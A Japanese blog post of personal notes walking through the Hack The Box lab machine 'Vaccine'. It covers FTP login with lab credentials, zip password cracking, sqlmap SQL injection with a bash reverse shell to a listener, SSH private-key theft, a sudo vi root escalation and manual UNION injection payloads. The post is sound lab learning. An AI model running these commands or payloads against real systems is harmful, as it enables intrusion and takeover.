ただのメモです

Writeupなら他のブログ見たほうがいいと思います.

Vaccine -Starting Point-Point-

 まずnmapから

f:id:F-Ryu:20210601180728p:plain

 ftp/21 ssh/22 http/80のポートが開いています。全ポートも検索しましたが特に追加の情報はなし。まずhttpサイトにアクセスしてみます。

f:id:F-Ryu:20210601180921p:plain

 ログイン画面が出てきました。ソースコードに情報なし、単純なパスワード(admin/password admin/passwd)も前回で使ったパスワードも通りません。niktoやgobusterもめぼしい情報はなし。

 次にftpサーバーに接続してみます。パスワードはOopsieのルートをとった際に手に入れたユーザー情報(ftpuser/mc@F1l3ZilL4)を使用します(Oopsieのwalkthrough参照)。

f:id:F-Ryu:20210601181258p:plain

f:id:F-Ryu:20210601181402p:plain

 backup.zipのみで、他にできることもなかったのでgetで入手。解凍しようとするとパスワードが要求されました。単純なパスワードも今までのパスワードも通りません。そこでJohn the Ripperでパスワード解析を行います。

 zip2john backup.zip > hash.txt

 john hash.txt

f:id:F-Ryu:20210601181557p:plain

 下から4行目の741852963がパスワードです。ちょうどテンキーの7から縦に進んでいくだけですね。このパスワードを使って解凍するとindex.phpとstyle.cssが手に入りました。cssには情報なし、index.phpを開くと

f:id:F-Ryu:20210601181933p:plain

 username/adminとpasswordが表示されています。パスワードをよく見てみるとmd5とあるのでmd5でデコードします(適当に検索して出たサイトを使いました)。するとqwerty789と出ます。ログイン後次のようなページが出てきます。

f:id:F-Ryu:20210601194531p:plain

 検索した文字が含まれる名前が抽出されます。例えばaと入力すると
 http://10.10.10.46/dashboard.php?search=a

f:id:F-Ryu:20210601195031p:plain

 つまりsearchパラメータを通じてデータベースに渡していると考えられます。またburpsuiteでサイトを見てみるとクッキーを使用しているのが分かります

f:id:F-Ryu:20210601195551p:plain

sqlmapを使いsqlインジェクションがあるか見てみましょう。

python3 sqlmap.py -u http://10.10.10.46/dashboard.php?search=a --cookie=[cookie] --os-shell

f:id:F-Ryu:20210601195815p:plain

f:id:F-Ryu:20210601195828p:plain

一番下の行PostgreSQLだと判明しました。--os-shellを付けることでreverseshellのコマンドを入力できます。

別のbash: sudo nc -lvnp 4444

python3 sqlmap.py -u http://10.10.10.46/dashboard.php?search=a --cookie=[cookie] --os-shell

f:id:F-Ryu:20210601200632p:plain

bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'を入力すると

f:id:F-Ryu:20210601200642p:plain

無事侵入できました。しかし使ってみるとわかりますが一定時間がたつと切断されてしまい、調査には不便です。まずはユーザーの情報を探してみます。ここでは2通りの方法で探し出すことができます。

ssh接続

 cat ~/.ssh/id_rsaを使うと秘密鍵が閲覧できます。これをコピーし秘密鍵を作成後(chmod 600 id_rsaとしないと秘密鍵が機能しません)、ssh接続でログインできます。

 ssh -i id_rsa postgres@10.10.10.46

②パスワードを探す

 先ほどログインしたサイトに何かデータがないか探ってみましょう。すると

f:id:F-Ryu:20210601202200p:plain

f:id:F-Ryu:20210601202218p:plain

postgresのパスワードを入手できました。このパスワードを使ってssh接続でログインできます。

 では最後にrootを狙いましょう。ますsudo -lをすると

f:id:F-Ryu:20210601202935p:plain

/bin/vi /etc/postgresql/11/main/pg_hba.conf 

つまりpg_hba.confをviで見るときはroot権限なしで見られるということです。よって

/bin/vi /etc/postgresql/11/main/pg_hba.confでviを開いた後

:shell もしくは :!/bin/bash

でシェルに戻ることでroot権限が得られます。

 

番外編 sqlmapを使わずにsql injection 

 公式のwalkthroughではsqlmapを使用していましたが、手動でも可能です。まず検索欄に特殊文字(' " # % etc)を入れてみると

f:id:F-Ryu:20210604213114p:plain

このようなエラーが出て、SQL injectionがあると判明しました。

まずUNION Attackで情報を集めます。まず' ORDER by 1-- からエラーが出るまで1ずつ増やしていきます。すると6でエラーがでます

f:id:F-Ryu:20210604213404p:plain

つまりカラム数が5であると判明しました。次にこのカラム数をもとに

' UNION SELECT NULL,NULL,NULL,NULL,NULL--

 

このNULLの一つを'a'に置き換えて検索していくと1~4で反応が見られました。

この記事を書くにあたって以下のwriteupを参考にさせていただきました。

f:id:F-Ryu:20210604213929p:plain

(' UNION SELECT NULL,'a',NULL,NULL,NULL--)

Nameにaが表示されています。つまり1~4のカラムに何かしらの情報を表示させることができそうです。例えば' UNION SELECT NULL,version(),NULL,NULL,NULL--とすると

f:id:F-Ryu:20210604214220p:plain

このようにversionが表示されます。postgre 11.5のようですね。下記の記事に

medium.com

postgreSQL 9.3以降のコマンドインジェクションが載っています。この通りに実行すればSQLMAP同様にリバースシェルを得ることができます。

 

 

 

この記事を書くにあたって以下を参考にさせていただきました。

github.com